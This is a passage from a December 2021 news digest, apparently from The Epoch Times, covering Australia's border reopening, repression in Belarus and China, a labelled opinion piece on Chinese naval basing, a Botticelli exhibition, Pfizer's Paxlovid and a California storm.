and Sian Proctor, a geoscientist and entrepreneur. The event was live-streamed on Netflix Inc. as part of a limited episodes docuseries Countdown: Inspiration4 Mission to Space. By Rachit Vats 2021 The Epoch Times. The Epoch Times does not provide investment advice. All rights reserved. A Qantas Boeing 747 during a fly past at the Formula One Australian Grand Prix in Melbourne on March 15, 2015. (William West/AFP via Getty Images) Australia Opens Border for International Students and Skilled Migrants International students, skilled workers, humanitarian, working holiday, and provisional family visa holders can return to Australia from Dec. 15 after more than 18 months, as travel bubbles with South Korea and Japan open. Australian Prime Minister Scott Morrison confirmed on Dec. 13 that the two-week delay on the nations international reopening will end as scheduled. The pause was put in place due to the emergence of the Omicron variant of the CCP (Chinese Communist Party) virus, which causes the COVID-19 disease. The borders will be reopened both to Korea and Japan and for skilled migration and for students, as we conclude the pause that we announced several weeks ago, Morrison said at a joint press conference with South Korean president Moon Jae-in, adding that Australia is looking forward to welcoming its 20,000 Korean students back. However, not all states and territories have opened to international arrivals, and jurisdictions already taking overseas travellers each have their own COVID-19 rules for them upon arrival. New South Wales (NSW), Victoria and Australian Capital Territory (ACT) require travellers to self-quarantine for 72 hours after arriving; Queensland and South Australia mandate a 14-day government-arranged quarantine. Western Australia will open to overseas students from Feb. 5, 2022; Tasmania has not yet announced when students can return. Fully vaccinated travellers entering the Northern Territory will be required to stay in a Covid-safe zone in Alice Springs, Katherine, or Greater Darwin for 14 days from Dec. 20. The federal government has endorsed International Student Arrival Plans for four states: NSW, Victoria, Queensland, and South Australia. From 15 December 2021, fully vaccinated international students can travel to participating states and territories in Australia, quarantine-free without needing to apply for a travel exemption, the Homes Affairs website states. Students who are not eligible to travel without an exemption may be able to travel to Australia under an International Student Arrival Plan. There are also limited travel exemptions available for international students who can meet specific criteria including some health/medical students and PhD research students. The two-week delay has cost thousands of dollars for some temporary visa holders who had originally planned to return to Australia on Dec. 1. The re-bookings and overhead expenses had already burnt a hole in our pocket, Rahul Dhawan, who was due to fly to Melbourne to meet her husband on Dec. 10, told SBS. I was checking the news every second for further announcements after the delay and, at last, we got it this morning. Australian Prime Minister Scott Morrison Identified as Casual COVID-19 Contact Australian Prime Minister Scott Morrison has travelled to Queensland for his re-election campaign after being identified as a casual COVID-19 contact. Morrison was deemed a casual contact after attending the Kincoppal-Rose Bay graduation gala at Darling Harbour in Sydney last Friday. He has returned two negative PCR tests, according to New South Wales (NSW) Health and the chief medical officer. Therefore, per Queensland rules, he is not required to isolate upon arrival into that state. Morrison confirmed his Queensland trip during an interview with 4BC radio on Wednesday morning after the states authorities deemed it safe, saying being deemed a close or casual contact with a confirmed case was part of living with the virus. The virus is there. Omicron is in Australia. Were going to live with this virus, not let it drag us back where weve been, he said, adding that Australia has got one of the highest vaccination rates in the world and had started its booster program. Morrison has had a busy schedule since the exposure last Friday, including a joint press conference with South Korean President Moon Jae-in on Monday and dinner with him at Sydneys Kirribilli House on Tuesday, as well as the announcement of Moderna vaccine manufacturing in Melbourne on Tuesday. The South Korean delegation was not concerned that Morrison was identified as a close contact. They were totally relaxed about it, Morrison said. Thats the thing. The worlds living with it, so weve got to live with it. Morrisons trip to Queensland comes after the passengers of two planes were initially forced into a 14-day quarantine, after one person tested positive for the virus. Following backlash, the Queensland government reversed a decision to quarantine all passengers, instead limiting the isolation requirement to only those who were seated in close proximity to the confirmed case. Morrison said that it was a matter for the Queensland government, but he hoped ensuring people to join families before Christmas would be a priority. This was the second COVID-19 scare for the prime minister. He and NSW Premier Dominic Perrottet were advised to monitor for symptoms after the Bathurst 1,000 touring car race they attended on Dec. 5 was listed as an exposure site. Australias Deputy Prime Minister Barnaby Joyce tested positive with COVID-19 last week during a working trip to the United Kingdom and the United States. He is currently in isolation in Washington DC. Brown bear cubs play with their mother, at a wildlife park on April 27, 2007, in Poing, Germany, on April 27, 2007. (Johannes Simon/Getty Images) Bear Takes up Residence Under Monrovia Home MONROVIA, Calif.A bear, possibly pregnant, has taken up residence under a house in Monrovia and may give birth soon. Jerry Shutman told City News Service he was awakened by his barking dog Monday morning, Dec. 13, and saw a bear, accompanied by her cub, tearing up the grass and some of the plants that were nearby in the backyard of his home in the 700 block of Oakglade Drive. The bears had opened the gate and were pulling the greenery under the house like they were making a nest, in the crawl space, in what Shutman called the tip-off to his suspicion that she may give birth soon. Worried that the bear would be under the house for a while, Shutman said he called the police. The responding officer suggested Shutman use ammonia to keep the bear away, he said. Shutman said he bought some ammonia and put it near the crawl space but with the rain coming on, the ammonia didnt do any good. Shutman said he again saw the bear Tuesday morning but said in an interview Tuesday night I havent heard her for a couple of hours. Its possible that she left or its possible that she may have just settled down and is quiet, Shutman said. Shutman said he is a little bit concerned the bear may do some damage when shes under there. The bear has torn up some of the insulation. I worry a little bit about the electrical wiring, but so far, there hasnt been anything like that, Shutman said. Falun Gong practitioners hold a candlelight vigil in front of the Chinese Consulate in Toronto on July 13, 2019, holding photos of fellow adherents who had died as a result of persecution in China. (Handout) Beijing Uses Pension System to Punish Dissidents, Faith Groups News Analysis Chinese rights defenders are often deprived of their pensions as a punishment by the Chinese Communist regime. The 74-year old Cui Xuemin, formerly a teacher at a junior college in Heilongjiang Province, received such treatment after she defended her rights to practice Falun Gong. She was imprisoned for three years and had her retirement pension revoked. Cui retired in 1998. In a recent interview, she told the Chinese edition of The Epoch Times that the regime canceled her retirement fund in October 1999. I have not received a dime since, she said. Cui is now in political asylum in Canada. Many Chinese Falun Gong adherents have reported similar experiences, according to Minghui.org, a U.S.-based website that documents the regimes brutal campaign of persecution against the practice of Falun Gong since July 1999. Falun Gong, also known as Falun Dafa, is a meditative practice that includes a set of moral teachings based on the principles of truthfulness, compassion, and tolerance. The regime started the persecution of Falun Gong in July 1999. Since then millions have been detained in various facilities, while hundreds and thousands have been tortured, according to the Falun Dafa Information Center. Weaponizing the Pension System In recent years, many Chinese dissidents and rights defenders also became victims of pension suspensions. The following are examples: Sun Wenguang, a retired professor of Shandong University, had his retirement pension reduced from professorship to staff level in 2018, due to his view of democratic reform in China. Cai Xia, a retired professor at Central Party School, had her retirement benefits revoked in 2020 due to her remarks that were charged as being serious political problems and that damage the countrys reputation by the regime. Yan Zhihua, a Chinese historian, had his pension canceled in 2020, due to his book documenting the death of 1.4 million local residents in a district of Sichuan Province during the 1959-1962 Great Famine. It is personal savings, it should not have been abused as a political means, said Chien-yuan Tseng, president of New School for Democracy. In an interview with the Chinese edition of The Epoch Times, Tseng commented that depriving personal pension is murderous and inhumane, Its political blackmail. Legality Concerns Zhu Shengwu, who had previously practiced law in China, told the Chinese edition of The Epoch Times, Pensions are basic rights and cant be canceled, which is true according to the Partys law and international law. He said that the regime says one thing, but does another, it advocates rights to survival, but it also blatantly deprives peoples survival means. He also said that none of the Partys laws stipulates suspension of retirement pensions during imprisonment. But he saw many elderly Falun Gong adherents were deprived of their pensions while subjected to imprisonment for exercising their freedom of belief. Falun Dafa Information Center spokesperson Zhang Erping emphasized that there have been many elderly Falun Gong adherents mistreated by the regime since the persecution campaign started. He said that in just March this year, at least five Falun Gong adherents over 80 years of age were known to be imprisoned. He particularly mentioned the United Nations Principles for Older Persons, adopted in 1991. It states: Older persons should be able to live in dignity and security and be free of exploitation and physical or mental abuse and treated fairly regardless of age, gender, racial or ethnic background, disability or other status, and be valued independently of their economic contribution. However, as a member state, the regime is taking the lead in undermining this UN principle, Zhang said. President Joe Biden speaks during an event with Australian Prime Minister Scott Morrison (L) and United Kingdom Prime Minister Boris Johnson (R) in the East Room of the White House in Washington, on Sept. 15, 2021. (Win McNamee/Getty Images) Beijing Woos Washington Back to the Atlantic Commentary Chinese Communist Party (CCP) leader Xi Jinping is working hard to ensure that the United States moves its strategic center of gravity back to the Atlantic and away from the Indo-Pacific. But even strong moves to show a Peoples Liberation Army Navy (PLAN) thrust into the Atlantic may be insufficient to divert anything but a small proportion of U.S. strategic assets away from the Indo-Pacific. Even so, any reduction in U.S. and allied force capabilities and priority away from the Indo-Pacific would be regarded as a bonus for the PLA in its gaming of potential conflict closer to the Chinese mainland. Beijing has begun moves to build basing facilities in the Atlantic in Guinea-Bissau on Africas Central West coast, and on the Portuguese Azores island chain in the mid-Atlantic. It has also pushed the leftist government of President Alberto Angel Fernandez in Argentina to resurrect the threat to British ownership of the Falkland Islands in the South Atlantic as a means of pulling Britains limited naval capabilities out of the Indo-Pacific. By December 2021, Beijing was strenuously attempting to distract Washington from focus on the new AUKUS pact between Australia, the United Kingdom, and the United States. AUKUS, explicitly driven by Australia as a global alliance with an Indo-Pacific centrality, threatened to become the alliance of the future between three Anglophone powers, which together would have global geopolitical reach on an unprecedented scale. AUKUS was beginning to come into focus in mid-December as officials from the three pact members were being designated into working groups, with the initial focus of increasing the Royal Australian Navys submarine capacity in the Indo-Pacific, elevating it to nuclear-powered status. U.S. President Joe Biden sent a request to Congress on Dec. 1 to approve an 18-month negotiating period to transfer nuclear power technology to Australia to seek an optimal pathway for delivery of nuclear-powered submarines for the Royal Australian Navy at the earliest achievable date. The Royal Australian Navy submarine HMAS Rankin is seen during AUSINDEX 21, a biennial maritime exercise between the Royal Australian Navy and the Indian Navy in Darwin, Australia, on Sept. 5, 2021. (Pois Yuri Ramsey/Australian Defence Force via Getty Images) Beijings latest distraction operations are not a new stratagem. It has moved several times over the past decade to force a Western focus on Atlantic and European defenses to avoid a revived competition in the Indo-Pacific. It did so even when it was striving to rebuild the logistical supply lines in Africa so that Chinas trade would be focused on the East Coast (Indian Ocean) ports, with new road and rail links taking even West African trade to and from ports on the East African coast, particularly the new Chinese-controlled port at Lamu, in Kenya. The Namibian newspaper on Jan. 20, 2016, confirmed earlier reports that China was negotiating the construction of a PLA Navy base at Walvis Bay, Namibia, and wanted to build 18 overseas bases, including the Walvis Bay base, as well as in North Korea (at Chongjin), Thailand (at Koh Lanta), and in other locations in the Pacific, Indian Ocean, and Atlantic. The expansion of the Indian Ocean ports of Gwadar (Pakistan), and Lamu (Kenya) were then already well underway, and there were plans for naval porting in Tanzania, as well. At that time, China had not necessarily considered that it would be able to obtain military basing rights in Djibouti, due to U.S. and French influence there, but subsequent U.S. diplomatic gaffes pushed Djibouti President Ismail Omar Guelleh in 2015 to offer basing to China. It is unclear whether the 2020-21 secret talks between CCP officials and Equatorial Guinea President Teodoro Nguema Obiang Mangue were meant to be secret, or whether they had the dual intent of securing a new naval facility at Bata, on the countrys Gulf of Guinea mainland coast, and scaring the United States into refocusing on the Atlantic. But Washington took the bait. The Wall Street Journal noted on Dec. 5: Principal deputy US National Security Adviser Jon Finer visited Equatorial Guinea in October (2021) on a mission to persuade President Teodoro Obiang Mangue, to reject Chinas overtures. Until now, Equatorial Guinea had been locked into security and trade commitments with the United States, with U.S. energy giant Exxon Mobil controlling the countrys extensive oil and gas reserves. However, in January 2020, Exxon Mobil was openly discussing plans to sell its Equatorial Guinea holdings, including its operating stake in the Zafiro field that produced 90,000 barrels a day and delivered most of the countrys output. That suddenly opened the country to a total change in strategic direction. Further north, in the Central Atlantic, another Beijing move has emerged. A September 2021 think tank report, titled Evolving the Five Eyes: Opportunities and Challenges in the Strategic Landscape, noted: China has identified the Azores as an essential Atlantic hub and has thus been buying up facilities in these islands, such as abandoned US storage facilities and a French hotel in which it can base 500 troops. Notably, the Azores is key to the security of undersea cables. China plans to build an air base at Lajes on the [Azores] island of Terceira. The report, by John Hemmings and Peter Varnish, was published by the Canadian Macdonald-Laurier Institute and the U.S. Daniel K. Inouye Asia-Pacific Center for Security Studies. Undersea communications cables are a key focus of Beijing. They are virtually all outside its control. Its focus on the Solomon Islands in the South Pacific has been linked as much as anything to its proximity to major trans-Pacific undersea communications cables. Beijing has openly pursued basing, investment, and territorial access to lands in the Atlantic Arctic region; and has already strong trade, intelligence, and political operations through South and Central America and the Caribbean. Indeed, it has real strategic objectives in the region, but none of these outweigh the need to stop the United States overwhelming focus on the Indo-Pacific and AUKUS. Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times. Syarhei Tsikhanouski is escorted before a court hearing in Gomel (Homel), Belarus, on Dec. 14, 2021. (Sergei Kholodilin/BelTA/Handout via Reuters) Belarus Jails Opposition Leaders Husband for 18 Years in Revenge Verdict MOSCOWA court in Belarus sentenced the opposition leaders husband to 18 years in jail on Tuesday after he was arrested during an attempt to run for president against incumbent Alexander Lukashenko, a verdict his wife called political revenge. The court found Syarhei Tsikhanouski, a 43-year-old video blogger, guilty of organizing mass unrest and of inciting social hatred, and handed him one of the longest jail terms in modern Belarusian history. His supporters said the charges were fabricated and politically motivated. Syarhei, husband of opposition leader Sviatlana Tsikhanouskaya, was arrested at an opposition protest in May 2020 after being barred from taking part in an election later that year which his wife contested instead. He rose to prominence in Belarus after comparing Lukashenko, who has been in power since 1994, to a moustachioed cockroach from a childrens fairy tale. His jailing angered many Belarusians who went on to stage the biggest protests against Lukashenko in post-Soviet history after what they said was a rigged presidential election, something Lukashenko denied. Syarhei Tsikhanouski (R) speaks with co-defendants including Artyom Sakov, Vladimir Tsyganovich and Igor Losik during a court hearing in Gomel (Homel), Belarus, on Dec. 14, 2021. (Sergei Kholodilin/BelTA/Handout via Reuters) Tuesdays harsh jail term is part of a pattern that has seen Lukashenko, who is supported by Russia, use the courts and the police to systematically repress his opponents and critics by locking them up for long periods or forcing them abroad. It is one of the starkest examples of his decision to ignore sanctions and Western condemnation in order to continue his crackdown. My husbandis sentenced to 18 years in prison, his wife, opposition leader Sviatlana Tsikhanouskaya, who fled to Lithuania to escape the sweeping post-election crackdown by Lukashenko, said on Twitter. The dictator publicly takes revenge on his strongest opponents. While hiding the political prisoners in closed trials, he hopes to continue repressions in silence. But the whole world watches. We wont stop, she wrote. There was no immediate comment from Lukashenko, whose crackdown on opponents and role in a standoff over migrants with the European Union have triggered Western sanctions against his country. 5 Others Jailed for 1416 Years Five supporters of Tsikhanouski were also tried along with him and sentenced to prison terms ranging from 14 to 16 years on Tuesday. They also denied the charges against them. U.S. Secretary of State Antony Blinken condemned the convictions and called for Tsikhanouskis immediate release, as well as the release of hundreds of other political prisoners. These sentences are further evidence of the regimes disregard for these international obligations as well as for the human rights and fundamental freedoms of Belarusians. The Belarusian people deserve better, Blinken said in a statement. Tsikhanouskis mother Sofya told U.S. broadcaster RFE/RL she feared she would never see her son again. How many? Eighteen years for my son? What for? God Im 71. I wont live that long, I wont see my son. Innocent people who want a dignified life for their nation are treated as the most dangerous criminals, Polish Foreign Minister Zbigniew Rau wrote on Twitter. There is no way that this shameful sentence will be left without consequences for the authorities in Minsk. Since fleeing Belarus, Tsikhanouskaya has gained international prominence, meeting an array of Western leaders. Her husbands trial was closed to the public and lawyers were banned from disclosing details of the case. In July, a Belarusian court jailed former presidential contender Viktor Babariko for 14 years after convicting him on corruption charges he denied. In September, Maria Kolesnikova, one of the leaders of mass street protests against Lukashenko last year, was sentenced to 11 years in prison. U.N. Special Rapporteur Anais Marin said more than 35,000 people had been arbitrarily detained over the past year in Belarus and that the fear of repression had caused tens of thousands to seek refuge abroad. By Andrew Osborn and Tom Balmforth A glance at the Botticelli: Artist and Designer exhibition in Paris The graceful figure of Venus poised in her shell, as depicted by Renaissance master Sandro Botticelli, is so synonymous with beauty that even those unfamiliar with art can recognize her, such is her fame. What is less well-known are his paintings of the Madonna that share similar qualities of classical beauty. Throughout the Renaissance, artists referenced the ancient classics. Art historian E.H. Gombrich writes in his book The Story of Art that people were so convinced of the superior wisdom of the ancients that they believed these classical legends must contain some profound and mysterious truth. The Judgement of Paris, circa 14821485, by Botticelli, and studio. Tempera on wood; 31 7/8 inches by 77 1/2 inches. The Palazzo Cini Gallery, Giorgio Cini Foundation; Venice, Italy. (Giorgio Cini Foundation) In The Birth of Venus, Alessandro Filipepi, commonly known as Botticelli (circa 14451510), based Venus on the ancient statue Aphrodite of Knidos (Venus to Italians) by the Greek sculptor Praxiteles. Venus Pudica (Modest Venus), circa 14851490, by Botticelli. Oil on canvas; 62 1/4 inches by 27 inches. Art Gallery, State Museums of Berlin, Berlin. (BPK, Berlin, Dist. RMN-Grand Palais/Jorg P. Anders) In Botticellis time, such earthly beauty was equated with the divine. Over the course of the 15th century, beauty rapidly became an important feature of devotional paintings and almost a requisite in iconography; this reached its full development in Botticelli, curator Ana Debenedetti writes in her book Botticelli: Artist and Designer. The exhibition Botticelli: Artist and Designer at the Jacquemart-Andre Museum in Paris explores Botticellis artistic genius through around 40 of his artworks. These worksincluding portraits, altarpieces, private devotional paintings, and even decorative arts such as tapestriesare displayed in the exhibition alongside his contemporaries works, demonstrating links between his works and contemporary culture, and the fluid exchange of artistic ideas and styles between the mainly Florentine artists. Peaceful Minerva, circa 14911500, by a French manufactory, after Botticelli. Wool and silk; 101 1/8 inches by 61 3/8 inches. Private collection. (Studio Sebert, Paris) Allegorical figure, also known as La Bella Simonetta, circa 1485, by Botticelli. Tempera and oil on poplar wood; 32 1/4 inches by 21 1/4 inches. Stadel Museum, Frankfurt am Main, Germany. (Stadel Museum, Frankfurt am Main/CC BY-SA 4.0) Right from the outset of his career, Botticelli used earthly beauty as a conduit to the divine. In his Virgin and Child paintings, for instance, one can clearly see the Virgin as being both of the earth and heaven. As Debenedetti writes: [T]he idea that divine love is first stirred in human hearts by terrestrial beauty was a major poetic theme in the Renaissance. Learning From the Master The exhibition begins with Botticellis apprenticeship with Fra Filippo Lippi (circa 14061469), best known for his devotional paintings. Lippi was renowned as a leading master of the early Renaissance. From him, Botticelli learned to create sweet Madonnas in his Virgin and Child paintings. Exhibition visitors can see how similar Lippis Virgin and Child (circa 14601465) is to Botticellis Virgin and Child, also known as the Campana Madonna (circa 14671470). Virgin and Child, circa 14601465, by Filippo Lippi. Tempera on poplar wood; 30 1/4 inches by 21 1/4 inches. Alte Pinakothek, Bavarian State Painting Collections, Munich. (BPK, Berlin, Dist. RMN-Grand Palais/image BStGS) Both artists endearingly depicted the mother-child bond that instantly connects us to the paintings subjects. Lippi depicted the Christ child trying to grab his mothers attention, while Botticellis Christ child indicates that he wants to be nursed by grabbing for a piece of his mothers clothing. In both paintings, the idealized Virgin and the halos over the figures affirm that these are more than mere family scenes: These are specifically created to lead the viewer closer to God. Virgin and Child, also known as the Campana Madonna, circa 14671470, by Botticelli. Tempera on poplar wood; 28 3/8 inches by 20 1/8 inches. The Museum of the Petit Palais in Avignon, France, on permanent loan from the Louvre Museum, 1976. (Rene-Gabriel Ojeda/RMN-Grand Palais) The artists Virgin figures almost mirror one another, except that Lippis Virgin is on the left side of the composition, while in Botticellis painting she is on the right. In the 1400s, inclining, reversing, and swapping over a model-type was common practice in Italian workshops to avoid obvious repetitions, Debenedetti wrote. Artists copied the motifs, figures, and even compositions of other artists, especially in sacred paintings where the same stories were depicted and the opportunity to vary the composition was limited. One fascinating aspect of Botticellis work is how his style of painting in his devotional works changed over time. On display is his Madonna With Child, also known as the Madonna of the Book,which he painted around 1482. The painting still shows the mother-child bond, but compared to his earlier works, the scene is saturated with color. Gone is the heavy architectural background seen in his Campana Madonna to be replaced by a simple window and a small hill. Botticelli added religious symbols to the scenean open prayer book, the crown of thornsto encourage the viewer to engage in contemplation and prayer. Madonna and Child With the Infant St. John, circa 1505, by Botticelli. Tempera and oil on canvas; 52 3/4 inches by 36 1/4 inches. Palatine Gallery, Pitti Palace, Uffizi Galleries; Florence, Italy. (Photographic office of the Uffizi Galleries) Madonna With Child, also known as the Madonna of the Book, circa 14821483, by Botticelli. Tempera on wood; 22 7/8 inches by 15 5/8 inches. Poldi Pezzoli Museum, Milan. (Fotoarte/Poldi Pezzoli Museum) The artist elevated the Madonna to her heavenly realm in the glorious altarpiece commission Coronation of the Virgin With Saint Justus of Volterra, Blessed Jacopo Guidi da Certaldo, Saint Romuald, Saint Clement, and a Camaldolese Monk. Bottticelli painted the top half of the painting, while artist Domenico Ghirlandaio painted the lower part. The celebratory scene depicts the Virgin entering heaven to a symphony of angelic music heralding her coronation. Five devout, earthly figures witness the scene. In the lower-right corner, the Camaldolese monk offering up his prayer is believed to be a portrait of the donor who commissioned the altarpiece. Coronation of the Virgin With Saint Justus of Volterra, Blessed Jacopo Guidi da Certaldo, Saint Romuald, Saint Clement, and a Camaldolese Monk, circa 1492, by Botticelli and Domenico Ghirlandaio. Tempera and oil on wood transferred onto canvas; 106 inches by 69 inches. Donated by John & Johanna Bass, Collection of the Bass Museum of Art; Miami Beach, Fla. (Zaire ArtLab) The Magnificent Tondi The artist and his workshop specialized in painting tondi, circular paintings or reliefs made for private devotion, which were popular in Florence at the time. Debenedetti writes that the circular form [was] most appropriate to represent the foundation of the Christian faith as, since antiquity, it represented the perfect geometrical form. Perfect as the form may be mathematically, the circle is a complex compositional shape to master, yet Botticelli excelled at it. Like many of his works, some tondi were copied by his assistants to create a series. The Madonna of the Magnificat, 1490s, by Master of Gothic Buildings, believed to be Jacopo Foschi, active in Florence, Italy, circa 1485circa 1520) after Botticelli. Tempera on wood; 45 1/8 inches in diameter. Fabre Museum of Montpellier Mediterranean Metropolis, on permanent loan from the Louvre Museum, 1979. (Frederic Jaulmes/Fabre Museum of Montpellier Mediterranean Metropolis) In the exhibition, there are several examples of these series of paintings. A tondi of particular note is The Madonna of the Magnificat by Botticellis assistant, known as the Master of Gothic Buildings, believed to be Jacopo Foschi. In the painting, two angels crown the Virgin as she sits on her heavenly throne writing. Christ sits on her lap as he looks up to heaven, with one hand on his mothers, almost guiding her to write, and the other hand touching a pomegranate, symbolic of the Passion. Throughout his career, Botticelli and his workshop created many devotional paintings for important institutions and patrons. He painted frescoes in Prato Cathedral as part of his apprenticeship, completed myriad commissions from the ruling Medici family, and created three scenes in the popes private chapel, later known as the Sistine Chapel. The impact of Botticellis sacred works was far-reaching, as many of his paintings were replicated in series for private devotional use. Thus, although Botticellis paintings of Venus capture the attention of many art lovers, his devotional works featuring the classical beauty of the Madonna and Child bring us closer to transcendent truths. The exhibition Botticelli: Artist and Designer at the Jacquemart-Andre Museum in Paris is curated by Victoria & Albert Museum curator Ana Debenedetti and chief heritage curator Pierre Curie and runs until Jan. 9, 2022. To find out more, visit Musee-Jacquemart-Andre.com President Joe Biden speaks in the Oval Office at the White House on Dec. 13, 2021. (Evelyn Hockstein/Reuters) Biden Admin Orders Pfizers COVID-19 Antiviral Pills for 10 Million Americans President Joe Biden on Dec. 14 announced the administration has ordered Pfizers COVID-19 antiviral pills for 10 million Americans. Biden in a statement said hes encouraged by Phase 2/3 data on Pfizers Paxlovid pill that suggests its effective at reducing the risk of severe illness in people infected with COVID-19, the disease caused by the CCP (Chinese Communist Party) virus. Several steps remain before the Pfizer pill can become available, including authorization by the Food and Drug Administration, the president said. To make sure that we are ready, my Administration has already placed an order for enough of these pills to treat 10 million Americans. Getting vaccinated and getting your booster shot remain the most important tools we have to save lives. But if this treatment is indeed authorizedand once the pills are widely availableit will mark a significant step forward in our path out of the pandemic. Paxlovid, a Pfizer COVID-19 pill, is seen during manufacture in Ascoli, Italy, in this undated photo obtained by Reuters on Nov. 16, 2021. (Pfizer/Handout via Reuters) Earlier on Dec. 14, Pfizer stated that its COVID-19 pill showed near 90 percent efficacy in preventing hospitalizations and deaths in high-risk patients, and recent lab data suggests the drug retains its effectiveness against the highly transmissible Omicron variant of COVID-19. In November, the U.S. drugmaker said the oral medicine was around 89 percent effective in preventing hospitalizations or deaths when compared to placebo, based on interim results in around 1,200 people. Data from its final analysis of the trial disclosed on Dec. 14 includes an additional 1,000 people. Nobody in the trial who received the Pfizer treatment died, compared with 12 deaths among placebo recipients, the authors reported. Pfizers antiviral pills are taken with the older antiviral ritonavir every 12 hours for five days beginning shortly after the onset of symptoms. If authorized, the treatment will be sold as Paxlovid. Its a stunning outcome, Pfizer Chief Scientific Officer Mikael Dolsten said on Dec. 14. Were talking about a staggering number of lives saved and hospitalizations prevented. And of course, if you deploy this quickly after infection, we are likely to reduce transmission dramatically. Dolsten said he expected the pill will receive authorization from the U.S. Food and Drug Administration and other regulatory agencies soon for use in high-risk individuals. Were in very advanced regulatory dialogues with both Europe and the UK, and we have dialogues with most of the major regulatory agencies globally, he said. Biden said he hopes the combination of widespread vaccinations and boosters, testing, and pills will help us further reduce the impact of COVID-19 on our lives and our economy. Reuters contributed to this report. Brazil's President Jair Bolsonaro looks on during a ceremony at the Planalto Palace, in Brasilia, Brazil on Sept. 14, 2021. (Adriano Machado/Reuters) Brazils Top Court to Decide on Expanding Travel Vaccine Mandate to Citizens SANTA CRUZ, BoliviaThe ministers of Brazils Supreme Court are scheduled to vote on Dec. 16 to decide on whether to expand a coronavirus vaccine mandate for travelers entering the country to apply to Brazilian citizens returning home. Federal Supreme Court (STF) Minister Luis Roberto Barroso ruled in favor of expanding the mandate on Dec. 11. The rest of the justices will decide whether to make Barrosos temporary order permanent. Under the current vaccine mandate, international travelers arriving in Brazil must quarantine for five days and subsequently test negative. Brazilian citizens are exempt. So are travelers with medical exemptions and travelers from countries with limited access to vaccines. The expansion being considered by the court is a sharp contrast to President Jair Bolsonaros firm stance on medical freedom and the right to choose when it comes to vaccines. Just three days before Barrosos ruling, Bolsonaro said he will never require the vaccine, comparing it to wearing a collar and saying, Id rather die than lose my freedom. On Monday, Bolsonaros government challenged the STF and filed a request for flexibility with the mandate via the attorney generals office, which would require those entering the country without proof of vaccination to simply carry out the five-day quarantine. Detail of a christmas tree made with COVID-19 and Flu vaccine vials at the Public Health Basic Unit Ernani Agricola, at the Lapa neighborhood in Rio de Janeiro, Brazil, on December 9, 2021. (MAURO PIMENTEL/AFP via Getty Images) President Bolsonaro, who had a confirmed case of the CCP (Chinese Communist Party) virus last July, is one of the only world leaders to publicly decline the vaccine, comparing it to paying $5 to play a lottery where the prize is only $1. It just doesnt make sense, Bolsonaro has said. However, minister Barroso disagrees with the proposed alternative, maintaining the country doesnt have the resources to monitor thousands of quarantined visitors on a daily basis. The daily entry of thousands of travelers into the country, the approach of the end of the year festivities, pre-carnival events and the carnival itself, capable of attracting large numbers of tourists, and the threat of promoting anti-vaccine tourism, given the imprecision of the rules that require its proof, constitute an unequivocal imminent risk, which authorizes the granting of the injunction. In the same statement, Barroso circled back to emphasize that Brazil cant afford to become a country that supports anti-vaccine tourism. According to some residents, tourism cant afford to take another hit. Whats wrong with just asking for a negative PCR test? Rio de Janeiro local Fernanda Santos asked The Epoch Times. Santos owns a guest house near the citys famous Ipanema Beach and says, after a very slow recovery in the tourism sector, small business owners like her cant afford to take another hit. I need this [tourist] season to be amazing. We all do. People gather on Ipanema beach at sunset on May 29, 2021 in Rio de Janeiro, Brazil. (Mario Tama/Getty Images) The nations tourism sector lost more than $69 billion between March 2020 and June of this year, according to a survey carried out by the National Confederation of Commerce of Goods, Services, and Tourism. President of the Brazilian Federation of Accommodation and Food, Alexandre Sampaio, said, Although vaccination is advancing, the emergence of new variants has made it difficult for tourists to return. Fears of the Omicron variant, the newest identified strain of the CCP virus, has spread, prompting 20 of Brazils 27 capitals to cancel their year-end events. The CCP virus has killed 616,251 people in Brazil as of Dec. 15, according to the World Health Organization. On Dec. 4, the mayor of Rio de Janeiro, Eduardo Paes, announced the suspension of the citys famous New Years Eve celebration to reduce the anticipated holiday case spike. Paes admitted there were divergent opinions between scientific committees but decided to cancel the festivities because, as he said, We respect science. In addition, 71 cities in the state of Sao Paulo have already canceled Carnival parties for February next year. And Santos fears officials may do the same in Rio de Janeiro. Theyd be taking away one of the biggest money-making holidays two years in a row, she lamented. The Carnival in Rio de Janeiro generates millions of dollars for the local economy. The famed celebration was delayed and eventually canceled earlier this year. And now tourists will have to be vaccinated. Just another obstacle, Santos said. A submerged vehicle is wedged against a bridge pillar in the surging Los Angeles River making it difficult for firefighters to access it on Dec. 14, 2021. (Damian Dovarganes/AP Photo) California Cleans Up After Powerful Storm Drenches State LOS ANGELESCleanup was under way after a powerful storm swept through California, setting rainfall records in the drought-stricken state but also triggering rescue efforts on a raging river and in canyon communities hit by mudslides. The National Weather Service reported remarkable rainfall, including 11 inches (28 centimeters) over 72 hours at Mount Tamalpais just north of San Francisco. By Tuesday afternoon, 8.1 inches (20 centimeters) of rain had fallen in one area of Santa Barbara County, northwest of Los Angeles. More than 4.6 inches (11.8 centimeters) fell within 24 hours in Orange Countys Silverado Canyon, south of LA, where sheriffs deputies rescued residents after mud inundated homes in the area scarred by wildfires. No injuries were reported. Firefighters searched the surging Los Angeles River on Tuesday after discovering two submerged vehicles wedged against a bridge pillar south of downtown LA and learning that a third vehicle had been swept past the bridge. No victims, if any, were immediately located and firefighters were waiting for the water level to fall. The circumstances surrounding these three separate vehicles and their journey down the LA River remain unclear, a Fire Department statement said. Earlier, a man was rescued after being swept into a covered stream channel in the San Fernando Valley. The man called for help on his cellphone and firefighters reached him through a maintenance hole on the street above. He suffered bruises and hypothermia, fire officials said. The storm prompted officials to shut down a 40-mile (64-kilometer) stretch of the iconic Highway 1 in the Big Sur area and it will remain closed indefinitely while crews repair damage and clean up rocks in lanes. The coastal route south of the San Francisco Bay Area got more than a foot (30 centimeters) of rain in 24 hours. It frequently experiences damage during wet weather. A local resident surveys the damage to a washed-out road in Silverado Canyon, Calif., on Dec. 14, 2021. (Eugene Garcia/AP Photo) The powerful system is a so-called atmospheric river that sucks up moisture from Pacific Ocean and dumps it at lower elevations as rain and in the mountains as snow. The storm began over the weekend in Northern California and brought heavy precipitation as far inland as Nevada, where more than 6 feet (1.8 meters) of snow fell since Sunday night at the Mt. Rose ski resort just southwest of Reno. Avalanche warnings were in effect in the Mono and Inyo county areas of Californias eastern Sierra, where Mammoth Mountain got about 4 feet (1.2 meters) of snow. Residents near the Alisal Fire burn scar in Californias Santa Barbara County were ordered to evacuate over concerns that heavy rains might cause flooding and debris flows. The order was lifted Tuesday afternoon. Similar orders were issued for people living near burn scars in the San Bernardino Mountains east of Los Angeles, where rockslides were reported. A mountain route into the resort town of Big Bear was expected to be closed until 